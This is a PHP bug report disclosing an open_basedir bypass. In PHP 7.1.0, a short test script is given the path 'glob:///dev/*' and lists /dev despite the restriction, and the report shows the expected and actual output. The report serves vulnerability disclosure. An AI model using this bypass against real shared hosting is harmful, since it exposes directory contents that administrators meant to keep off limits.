Description:
------------
open_basedir bypass through glob:// protocol may allow attacker read directory structure

# ./php -v
PHP 7.1.0 (cli) (built: Dec 23 2016 16:08:30) ( NTS DEBUG )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies


Test script:
---------------
<?php
    if ($dh = opendir($argv[1])) {
        while (($file = readdir($dh)) !== false) {
            echo "$file\n";
        }
        closedir($dh);
    }


Expected result:
----------------
Warning: opendir(): open_basedir restriction in effect. File(/dev/) is not within the allowed path(s): (/virtual/) in /virtual/php/71/bin/bypass.php on line 2

Warning: opendir(/dev/): failed to open dir: Operation not permitted in /virtual/php/71/bin/bypass.php on line 2

Actual result:
--------------
# ./php bypass.php "/dev/"         

Warning: opendir(): open_basedir restriction in effect. File(/dev/) is not within the allowed path(s): (/virtual/) in /virtual/php/71/bin/bypass.php on line 2

Warning: opendir(/dev/): failed to open dir: Operation not permitted in /virtual/php/71/bin/bypass.php on line 2
# ./php bypass.php "glob:///dev/*" 
MAKEDEV
apm
apmctl
arandom
audio
audio0
audio1
audio2
audioctl
audioctl0
audioctl1
audioctl2
bio
bktr0
...
etc